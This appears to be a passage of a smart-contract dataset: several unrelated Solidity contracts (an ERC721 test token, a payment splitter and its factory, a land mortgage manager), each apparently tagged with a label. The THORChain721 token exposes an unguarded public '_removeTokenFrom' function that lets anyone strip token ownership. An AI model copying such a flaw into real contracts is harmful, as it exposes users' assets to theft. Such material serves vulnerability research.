function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract THORChain721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
bytes4 retval;
bool reverts;
constructor(bytes4 _retval, bool _reverts) public {
retval = _retval;
reverts = _reverts;
}
event Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data,
uint256 _gas
);
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4)
{
require(!reverts);
emit Received(
_operator,
_from,
_tokenId,
_data,
gasleft()
);
return retval;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library AddressUtils {
function isContract(address _account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_account) }
return size > 0;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function _exists(uint256 _tokenId) internal view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = THORChain721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(_exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(_exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract THORChain721 is ERC721Token {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor () public ERC721Token("testTC1", "testTC1") {
owner = msg.sender;
}
function() public payable {
revert();
}
function mint(address _to, uint256 _tokenId) public onlyOwner {
super._mint(_to, _tokenId);
}
function burn(uint256 _tokenId) public onlyOwner {
super._burn(ownerOf(_tokenId), _tokenId);
}
function setTokenURI(uint256 _tokenId, string _uri) public onlyOwner {
super._setTokenURI(_tokenId, _uri);
}
function _removeTokenFrom(address _from, uint256 _tokenId) public {
super.removeTokenFrom(_from, _tokenId);
}
} | 1 | 2,874 |
pragma solidity ^0.4.18;
library CSCLib {
uint constant MILLION = 1000000;
uint constant GASLIMIT = 65000;
struct Split {
address to;
uint ppm;
}
struct CSCStorage {
mapping(address => uint) lastUserClaim;
uint[] deposits;
bool isClaimable;
address developer;
uint dev_fee;
uint refer_fee;
Split[] splits;
mapping(address => uint) userSplit;
}
event SplitTransfer(address to, uint amount, uint balance);
function init(CSCStorage storage self, address[] members, uint[] ppms, address refer) internal {
uint shift_amt = self.dev_fee / members.length;
uint remainder = self.dev_fee % members.length * members.length / 10;
uint dev_total = self.dev_fee + remainder;
self.deposits.push(0);
if(refer != 0x0){
addSplit(self, Split({to: self.developer, ppm: dev_total - self.refer_fee}));
addSplit(self, Split({to: refer, ppm: self.refer_fee}));
} else {
addSplit(self, Split({to: self.developer, ppm: dev_total}));
}
uint sum = 0;
for(uint index = 0; index < members.length; index++) {
sum += ppms[index];
addSplit(self, Split({to: members[index], ppm: ppms[index] - shift_amt}));
}
require(sum >= MILLION - 1 && sum < MILLION + 1 );
}
function addSplit(CSCStorage storage self, Split newSplit) internal {
require(newSplit.ppm > 0);
uint index = self.userSplit[newSplit.to];
if(index > 0) {
newSplit.ppm += self.splits[index].ppm;
self.splits[index] = newSplit;
} else {
self.userSplit[newSplit.to] = self.splits.length;
self.lastUserClaim[newSplit.to] = self.deposits.length;
self.splits.push(newSplit);
}
}
function payAll(CSCStorage storage self) internal {
for(uint index = 0; index < self.splits.length; index++) {
uint value = (msg.value) * self.splits[index].ppm / MILLION;
if(value > 0 ) {
require(self.splits[index].to.call.gas(GASLIMIT).value(value)());
SplitTransfer(self.splits[index].to, value, this.balance);
}
}
}
function getSplit(CSCStorage storage self, uint index) internal view returns (Split) {
return self.splits[index];
}
function getSplitCount(CSCStorage storage self) internal view returns (uint count) {
return self.splits.length;
}
function claimFor(CSCStorage storage self, address user) internal {
require(self.isClaimable);
uint sum = getClaimableBalanceFor(self, user);
uint splitIndex = self.userSplit[user];
self.lastUserClaim[user] = self.deposits.length;
if(sum > 0) {
require(self.splits[splitIndex].to.call.gas(GASLIMIT).value(sum)());
SplitTransfer(self.splits[splitIndex].to, sum, this.balance);
}
}
function claim(CSCStorage storage self) internal {
return claimFor(self, msg.sender);
}
function getClaimableBalanceFor(CSCStorage storage self, address user) internal view returns (uint balance) {
uint splitIndex = self.userSplit[user];
uint lastClaimIndex = self.lastUserClaim[user];
uint unclaimed = 0;
if(self.splits[splitIndex].to == user) {
for(uint depositIndex = lastClaimIndex; depositIndex < self.deposits.length; depositIndex++) {
uint value = self.deposits[depositIndex] * self.splits[splitIndex].ppm / MILLION;
unclaimed += value;
}
}
return unclaimed;
}
function getClaimableBalance(CSCStorage storage self) internal view returns (uint balance) {
return getClaimableBalanceFor(self, msg.sender);
}
function transfer(CSCStorage storage self, address to, uint ppm) internal {
require(getClaimableBalanceFor(self, msg.sender) == 0.0);
require(getClaimableBalanceFor(self, to) == 0.0);
require(ppm > 0);
uint splitIndex = self.userSplit[msg.sender];
if(splitIndex > 0 && self.splits[splitIndex].to == msg.sender && self.splits[splitIndex].ppm >= ppm) {
self.splits[splitIndex].ppm -= ppm;
addSplit(self, Split({to: to, ppm: ppm}));
}
}
function pay(CSCStorage storage self) internal {
if(self.isClaimable) {
self.deposits.push(msg.value);
} else {
payAll(self);
}
}
}
contract ClaimableSplitCoin {
using CSCLib for CSCLib.CSCStorage;
CSCLib.CSCStorage csclib;
function ClaimableSplitCoin(address[] members, uint[] ppms, address refer, bool claimable) public {
csclib.isClaimable = claimable;
csclib.dev_fee = 2500;
csclib.developer = 0xaB48Dd4b814EBcb4e358923bd719Cd5cd356eA16;
csclib.refer_fee = 250;
csclib.init(members, ppms, refer);
}
function () public payable {
csclib.pay();
}
function developer() public view returns(address) {
return csclib.developer;
}
function getSplitCount() public view returns (uint count) {
return csclib.getSplitCount();
}
function splits(uint index) public view returns (address to, uint ppm) {
return (csclib.splits[index].to, csclib.splits[index].ppm);
}
function isClaimable() public view returns (bool) {
return csclib.isClaimable;
}
event SplitTransfer(address to, uint amount, uint balance);
function claimFor(address user) public {
csclib.claimFor(user);
}
function claim() public {
csclib.claimFor(msg.sender);
}
function getClaimableBalanceFor(address user) public view returns (uint balance) {
return csclib.getClaimableBalanceFor(user);
}
function getClaimableBalance() public view returns (uint balance) {
return csclib.getClaimableBalanceFor(msg.sender);
}
function transfer(address to, uint ppm) public {
csclib.transfer(to, ppm);
}
}
contract SplitCoinFactory {
mapping(address => address[]) public contracts;
mapping(address => uint) public referralContracts;
mapping(address => address) public referredBy;
mapping(address => address[]) public referrals;
address[] public deployed;
event Deployed (
address _deployed
);
function make(address[] users, uint[] ppms, address refer, bool claimable) public returns (address) {
address referContract = referredBy[msg.sender];
if(refer != 0x0 && referContract == 0x0 && contracts[refer].length > 0 ) {
uint referContractIndex = referralContracts[refer] - 1;
if(referContractIndex >= 0 && refer != msg.sender) {
referContract = contracts[refer][referContractIndex];
referredBy[msg.sender] = referContract;
referrals[refer].push(msg.sender);
}
}
address sc = new ClaimableSplitCoin(users, ppms, referContract, claimable);
contracts[msg.sender].push(sc);
deployed.push(sc);
Deployed(sc);
return sc;
}
function generateReferralAddress(address refer) public returns (address) {
uint[] memory ppms = new uint[](1);
address[] memory users = new address[](1);
ppms[0] = 1000000;
users[0] = msg.sender;
address referralContract = make(users, ppms, refer, true);
if(referralContract != 0x0) {
uint index = contracts[msg.sender].length;
referralContracts[msg.sender] = index;
}
return referralContract;
}
} | 1 | 2,685 |
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
contract Ownable {
address public owner;
event SetOwner(address _owner);
modifier onlyOwner() {
require(msg.sender == owner, "Sender not owner");
_;
}
constructor() public {
owner = msg.sender;
emit SetOwner(msg.sender);
}
function setOwner(address _to) external onlyOwner returns (bool) {
require(_to != address(0), "Owner can't be 0x0");
owner = _to;
emit SetOwner(_to);
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() public view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) external returns (bool);
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y), "Add overflow");
return z;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
require(x >= y, "Sub underflow");
uint256 z = x - y;
return z;
}
function mult(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y), "Mult overflow");
return z;
}
}
contract ERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff, "Can't register 0xffffffff");
_supportedInterfaces[interfaceId] = true;
}
}
interface URIProvider {
function tokenURI(uint256 _tokenId) external view returns (string);
}
contract ERC721Base is ERC165 {
using SafeMath for uint256;
mapping(uint256 => address) private _holderOf;
mapping(address => uint256[]) private _assetsOf;
mapping(address => mapping(address => bool)) private _operators;
mapping(uint256 => address) private _approval;
mapping(uint256 => uint256) private _indexOfAsset;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
bytes4 private constant ERC721_RECEIVED_LEGACY = 0xf0b9e5ba;
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
bytes4 private constant ERC_721_INTERFACE = 0x80ac58cd;
bytes4 private constant ERC_721_METADATA_INTERFACE = 0x5b5e139f;
bytes4 private constant ERC_721_ENUMERATION_INTERFACE = 0x780e9d63;
constructor(
string name,
string symbol
) public {
_name = name;
_symbol = symbol;
_registerInterface(ERC_721_INTERFACE);
_registerInterface(ERC_721_METADATA_INTERFACE);
_registerInterface(ERC_721_ENUMERATION_INTERFACE);
}
event SetURIProvider(address _uriProvider);
string private _name;
string private _symbol;
URIProvider private _uriProvider;
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 _tokenId) external view returns (string) {
require(_holderOf[_tokenId] != 0, "Asset does not exist");
URIProvider provider = _uriProvider;
return provider == address(0) ? "" : provider.tokenURI(_tokenId);
}
function _setURIProvider(URIProvider _provider) internal returns (bool) {
emit SetURIProvider(_provider);
_uriProvider = _provider;
return true;
}
uint256[] private _allTokens;
function allTokens() external view returns (uint256[]) {
return _allTokens;
}
function assetsOf(address _owner) external view returns (uint256[]) {
return _assetsOf[_owner];
}
function totalSupply() external view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < _allTokens.length, "Index out of bounds");
return _allTokens[_index];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_owner != address(0), "0x0 Is not a valid owner");
require(_index < _balanceOf(_owner), "Index out of bounds");
return _assetsOf[_owner][_index];
}
function ownerOf(uint256 _assetId) external view returns (address) {
return _ownerOf(_assetId);
}
function _ownerOf(uint256 _assetId) internal view returns (address) {
return _holderOf[_assetId];
}
function balanceOf(address _owner) external view returns (uint256) {
return _balanceOf(_owner);
}
function _balanceOf(address _owner) internal view returns (uint256) {
return _assetsOf[_owner].length;
}
function isApprovedForAll(
address _operator,
address _assetHolder
) external view returns (bool) {
return _isApprovedForAll(_operator, _assetHolder);
}
function _isApprovedForAll(
address _operator,
address _assetHolder
) internal view returns (bool) {
return _operators[_assetHolder][_operator];
}
function getApprovedAddress(uint256 _assetId) external view returns (address) {
return _getApprovedAddress(_assetId);
}
function _getApprovedAddress(uint256 _assetId) internal view returns (address) {
return _approval[_assetId];
}
function isAuthorized(address _operator, uint256 _assetId) external view returns (bool) {
return _isAuthorized(_operator, _assetId);
}
function _isAuthorized(address _operator, uint256 _assetId) internal view returns (bool) {
require(_operator != 0, "0x0 is an invalid operator");
address owner = _ownerOf(_assetId);
if (_operator == owner) {
return true;
}
return _isApprovedForAll(_operator, owner) || _getApprovedAddress(_assetId) == _operator;
}
function setApprovalForAll(address _operator, bool _authorized) external {
if (_operators[msg.sender][_operator] != _authorized) {
_operators[msg.sender][_operator] = _authorized;
emit ApprovalForAll(_operator, msg.sender, _authorized);
}
}
function approve(address _operator, uint256 _assetId) external {
address holder = _ownerOf(_assetId);
require(msg.sender == holder || _isApprovedForAll(msg.sender, holder), "msg.sender can't approve");
if (_getApprovedAddress(_assetId) != _operator) {
_approval[_assetId] = _operator;
emit Approval(holder, _operator, _assetId);
}
}
function _addAssetTo(address _to, uint256 _assetId) internal {
_holderOf[_assetId] = _to;
uint256 length = _balanceOf(_to);
_assetsOf[_to].push(_assetId);
_indexOfAsset[_assetId] = length;
_allTokens.push(_assetId);
}
function _transferAsset(address _from, address _to, uint256 _assetId) internal {
uint256 assetIndex = _indexOfAsset[_assetId];
uint256 lastAssetIndex = _balanceOf(_from).sub(1);
if (assetIndex != lastAssetIndex) {
uint256 lastAssetId = _assetsOf[_from][lastAssetIndex];
_assetsOf[_from][assetIndex] = lastAssetId;
}
_assetsOf[_from][lastAssetIndex] = 0;
_assetsOf[_from].length--;
_holderOf[_assetId] = _to;
uint256 length = _balanceOf(_to);
_assetsOf[_to].push(_assetId);
_indexOfAsset[_assetId] = length;
}
function _clearApproval(address _holder, uint256 _assetId) internal {
if (_approval[_assetId] != 0) {
_approval[_assetId] = 0;
emit Approval(_holder, 0, _assetId);
}
}
function _generate(uint256 _assetId, address _beneficiary) internal {
require(_holderOf[_assetId] == 0, "Asset already exists");
_addAssetTo(_beneficiary, _assetId);
emit Transfer(0x0, _beneficiary, _assetId);
}
modifier onlyHolder(uint256 _assetId) {
require(_ownerOf(_assetId) == msg.sender, "msg.sender Is not holder");
_;
}
modifier onlyAuthorized(uint256 _assetId) {
require(_isAuthorized(msg.sender, _assetId), "msg.sender Not authorized");
_;
}
modifier isCurrentOwner(address _from, uint256 _assetId) {
require(_ownerOf(_assetId) == _from, "Not current owner");
_;
}
modifier addressDefined(address _target) {
require(_target != address(0), "Target can't be 0x0");
_;
}
function safeTransferFrom(address _from, address _to, uint256 _assetId) external {
return _doTransferFrom(_from, _to, _assetId, "", true);
}
function safeTransferFrom(address _from, address _to, uint256 _assetId, bytes _userData) external {
return _doTransferFrom(_from, _to, _assetId, _userData, true);
}
function transferFrom(address _from, address _to, uint256 _assetId) external {
return _doTransferFrom(_from, _to, _assetId, "", false);
}
function _doTransferFrom(
address _from,
address _to,
uint256 _assetId,
bytes _userData,
bool _doCheck
)
internal
onlyAuthorized(_assetId)
addressDefined(_to)
isCurrentOwner(_from, _assetId)
{
address holder = _holderOf[_assetId];
_clearApproval(holder, _assetId);
_transferAsset(holder, _to, _assetId);
if (_doCheck && _isContract(_to)) {
uint256 success;
bytes32 result;
(success, result) = _noThrowCall(
_to,
abi.encodeWithSelector(
ERC721_RECEIVED,
msg.sender,
holder,
_assetId,
_userData
)
);
if (success != 1 || result != ERC721_RECEIVED) {
(success, result) = _noThrowCall(
_to,
abi.encodeWithSelector(
ERC721_RECEIVED_LEGACY,
holder,
_assetId,
_userData
)
);
require(
success == 1 && result == ERC721_RECEIVED_LEGACY,
"Contract rejected the token"
);
}
}
emit Transfer(holder, _to, _assetId);
}
function _isContract(address _addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
function _noThrowCall(
address _contract,
bytes _data
) internal returns (uint256 success, bytes32 result) {
assembly {
let x := mload(0x40)
success := call(
gas,
_contract,
0,
add(0x20, _data),
mload(_data),
x,
0x20
)
result := mload(x)
}
}
}
contract SafeWithdraw is Ownable {
function withdrawTokens(Token token, address to, uint256 amount) external onlyOwner returns (bool) {
require(to != address(0), "Can't transfer to address 0x0");
return token.transfer(to, amount);
}
function withdrawErc721(ERC721Base token, address to, uint256 id) external onlyOwner returns (bool) {
require(to != address(0), "Can't transfer to address 0x0");
token.transferFrom(this, to, id);
}
function withdrawEth(address to, uint256 amount) external onlyOwner returns (bool) {
to.transfer(amount);
return true;
}
}
contract BytesUtils {
function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) {
require(data.length / 32 > index);
assembly {
o := mload(add(data, add(32, mul(32, index))))
}
}
}
contract LandMarket {
struct Auction {
bytes32 id;
address seller;
uint256 price;
uint256 expiresAt;
}
mapping (uint256 => Auction) public auctionByAssetId;
function executeOrder(uint256 assetId, uint256 price) public;
}
contract Land is ERC721 {
function updateLandData(int x, int y, string data) public;
function decodeTokenId(uint value) view public returns (int, int);
function safeTransferFrom(address from, address to, uint256 assetId) public;
function ownerOf(uint256 landID) public view returns (address);
function setUpdateOperator(uint256 assetId, address operator) external;
}
contract MortgageManager is Cosigner, ERC721Base, SafeWithdraw, BytesUtils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
uint256 public constant REQUIRED_ALLOWANCE = 1000000000 * 10**18;
event RequestedMortgage(
uint256 _id,
address _borrower,
address _engine,
uint256 _loanId,
address _landMarket,
uint256 _landId,
uint256 _deposit,
address _tokenConverter
);
event ReadedOracle(
address _oracle,
bytes32 _currency,
uint256 _decimals,
uint256 _rate
);
event StartedMortgage(uint256 _id);
event CanceledMortgage(address _from, uint256 _id);
event PaidMortgage(address _from, uint256 _id);
event DefaultedMortgage(uint256 _id);
event UpdatedLandData(address _updater, uint256 _parcel, string _data);
event SetCreator(address _creator, bool _status);
event SetEngine(address _engine, bool _status);
Token public rcn;
Token public mana;
Land public land;
constructor(
Token _rcn,
Token _mana,
Land _land
) public ERC721Base("Decentraland RCN Mortgage", "LAND-RCN-M") {
rcn = _rcn;
mana = _mana;
land = _land;
mortgages.length++;
}
enum Status { Pending, Ongoing, Canceled, Paid, Defaulted }
struct Mortgage {
LandMarket landMarket;
address owner;
Engine engine;
uint256 loanId;
uint256 deposit;
uint256 landId;
uint256 landCost;
Status status;
TokenConverter tokenConverter;
}
uint256 internal flagReceiveLand;
Mortgage[] public mortgages;
mapping(address => bool) public creators;
mapping(address => bool) public engines;
mapping(uint256 => uint256) public mortgageByLandId;
mapping(address => mapping(uint256 => uint256)) public loanToLiability;
function url() public view returns (string) {
return "";
}
function setEngine(address engine, bool authorized) external onlyOwner returns (bool) {
emit SetEngine(engine, authorized);
engines[engine] = authorized;
return true;
}
function setURIProvider(URIProvider _provider) external onlyOwner returns (bool) {
return _setURIProvider(_provider);
}
function setCreator(address creator, bool authorized) external onlyOwner returns (bool) {
emit SetCreator(creator, authorized);
creators[creator] = authorized;
return true;
}
function cost(address, uint256, bytes, bytes) public view returns (uint256) {
return 0;
}
function requestMortgage(
Engine engine,
bytes32 loanIdentifier,
uint256 deposit,
LandMarket landMarket,
uint256 landId,
TokenConverter tokenConverter
) external returns (uint256 id) {
return requestMortgageId(engine, landMarket, engine.identifierToIndex(loanIdentifier), deposit, landId, tokenConverter);
}
function requestMortgageId(
Engine engine,
LandMarket landMarket,
uint256 loanId,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) public returns (uint256 id) {
require(engine.getCurrency(loanId) == MANA_CURRENCY, "Loan currency is not MANA");
address borrower = engine.getBorrower(loanId);
require(engines[engine], "Engine not authorized");
require(engine.getStatus(loanId) == Engine.Status.initial, "Loan status is not inital");
require(
msg.sender == borrower || (msg.sender == engine.getCreator(loanId) && creators[msg.sender]),
"Creator should be borrower or authorized"
);
require(engine.isApproved(loanId), "Loan is not approved");
require(rcn.allowance(borrower, this) >= REQUIRED_ALLOWANCE, "Manager cannot handle borrower's funds");
require(tokenConverter != address(0), "Token converter not defined");
require(loanToLiability[engine][loanId] == 0, "Liability for loan already exists");
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 loanAmount = engine.getAmount(loanId);
require(loanAmount + deposit >= landCost, "Not enought total amount");
require(mana.transferFrom(msg.sender, this, deposit), "Error pulling mana");
id = mortgages.push(Mortgage({
owner: borrower,
engine: engine,
loanId: loanId,
deposit: deposit,
landMarket: landMarket,
